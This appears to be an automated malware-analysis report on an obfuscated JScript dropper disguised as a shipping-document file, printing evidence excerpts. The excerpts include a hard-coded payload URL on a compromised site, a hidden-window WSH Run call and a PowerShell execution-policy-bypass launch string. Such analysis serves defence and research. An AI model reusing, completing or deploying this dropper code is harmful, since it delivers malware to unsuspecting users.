Hostile ^100% Download

AES_ExportBegleitDokument_21bf6a8f-71c8 CMR Versandpapiere Galeri TR TP 52646.wsf

Obfuscated PowerShell dropper execution

Obfuscated ActiveX JS stages remote PS1Obfuscated ActiveX JS uses PS ep bypass

SHA-25674d03fc1f9576464040569101e660954c215695e89a0f447e08a2da502040bc4

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₄(C₃ErXe₂As₃)H₆(Cm₃Cr₂Db₇F₂OsPo₉)Md

Evidence

ActiveXObject with obfuscated ProgID expression lines 1–17

1<?xml version="1.0"?>
2<job>
  <script language="JScript">
      <![CDATA[
5function _0x2d1c(_0x1d5cb9, _0x252015) {
  _0x1d5cb9 = _0x1d5cb9 - 0x8f;
  var _0x368499 = _0x5c3f(), _0x8e9225 = _0x368499[_0x1d5cb9];
  return _0x8e9225;
9}
10(function () {
  'use strict';
  var _0x3b3412 = _0x5594, _0x73eec3 = _0x5594, _0x29d233 = _0x5594, _0x65d8d7 = _0x5594;
  var _0x59d123 = _0x5846, _0x546864 = _0x5846, _0x579c9f = _0x5846, _0x3d9188 = _0x5846, _0x210cf4 = _0x5846, _0x4601bf = _0x5846, _0x37357d = _0x5846, _0xcadda7 = {};
  _0xcadda7[_0x3b3412(0x31, 'Xyxs')] = 'https://reinigung-kosanke.de/wp-includes/theme-compat/qmxythi/baw1uqm/dvwqpnh/PWCRYPTED_STUB.ps1', _0xcadda7[_0x59d123(0x7)] = _0x546864(0xb), _0xcadda7[_0x3b3412(0x36, 'y2a!')] = 0x2;
  var _0x39e1b0 = _0xcadda7, _0x37bc97 = new ActiveXObject(_0x579c9f(0xd)), _0x2098d7 = new ActiveXObject(_0x29d233(0x26, 'J8jk')), _0xb25ddb = new ActiveXObject(_0x73eec3(0x32, ')3n*'));
  function _0x2ac41d(_0x4f7699) {
      var _0x449254 = _0x3b3412, _0x302255 = _0x59d123, _0x3b64f4 = _0x59d123, _0x57f333 = _0x59d123, _0xf5a7c9 = _0x59d123, _0x3b5745 = _0x59d123, _ …

Calls computed member from function result lines 18–22

11… y {
          return _0x302255(0x1f) !== _0x3b64f4(0x1d) ? (!_0x37bc97[_0x449254(0x57, 'nBzb')](_0x4f7699) && _0x37bc97[_0x57f333(0x22)](_0x4f7699), !![]) : _0x37737e(_0xe840fa[_0xf5a7c9(0x7)]);
      } catch (_0x316dac) {
          if (_0x3b5745(0x8) === _0x3b5745(0x1e))
 …

WSH Run call requests a hidden window lines 39–49

11…           return _0xb08136(_0x5bc568, _0x508a0f[_0x52d8f5(0x7)]);
              }
          } else {
              if (_0x460a3a(0x50, 'Xyxs') !== 'WdLGI') {
                  var _0x2645b0 = _0x2cab66(), _0xda1b4e = _0x347c31 + _0x2645b0, _0x72f536 = ![];
                  try {
                      _0x2d7ec5(_0xda1b4e, _0x58405f);
                      var _0x4c70c7 = _0x93b2ad(0x13) + _0xda1b4e + '\x22';
                      _0x380354['Run'](_0x4c70c7, 0x0, !![]), _0x72f536 = !![];
                  } catch (_0x2ecf36) {
                      if (_0x304c4a(0x1b) …

Creates a text file using FileSystemObject lines 85–96

11…               _0x1c7fff(_0x11d60e, _0x2abdc8);
                      var _0x3d4fd4 = _0x3d40cb(0x13) + _0x11d60e + '\x22';
                      _0x573e7d[_0x137581(0xf, 'nBzb')](_0x3d4fd4, 0x0, !![]), _0x3233f0 = !![];
                  } else {
                      var _0x8be979 = [
                          _0x2d6c4a(0x2a, '#Vlu'),
                          'CreateTextFile',
                          _0x2d6c4a(0x1a, '1fsY'),
                          _0x137581(0x8, 'J8jk'),
                          _0x2d6c4a(0x5d, ')3n*'),
                          _0x65fa8d(0x4a, 'Xyxs'),
                          _0x235aaf …

PowerShell nop/ep-bypass -File launch lines 101–114

10…                    _0x235aaf(0x10, '#Vlu'),
                          _0x2e74ce(0x49, 'Fd]W'),
                          'Scripting.FileSystemObject',
                          'paKlD',
                          _0x65fa8d(0x25, 'hLdL'),
                          _0x65fa8d(0x61, 'qZzK'),
                          _0xe2d424(0x9, '1fsY'),
                          _0x2d6c4a(0x35, 'XHI7'),
                          'powershell.exe\x20-nop\x20-ep\x20bypass\x20-file\x20\x22',
                          _0x4b08a(0x4, '5!nf'),
                          _0x4b08a(0x60, 'x&[w'),
                          _0x235aaf(0x28, 'AV7Y'),
                          'toUpperCase',
                          'ScriptAPI',
 …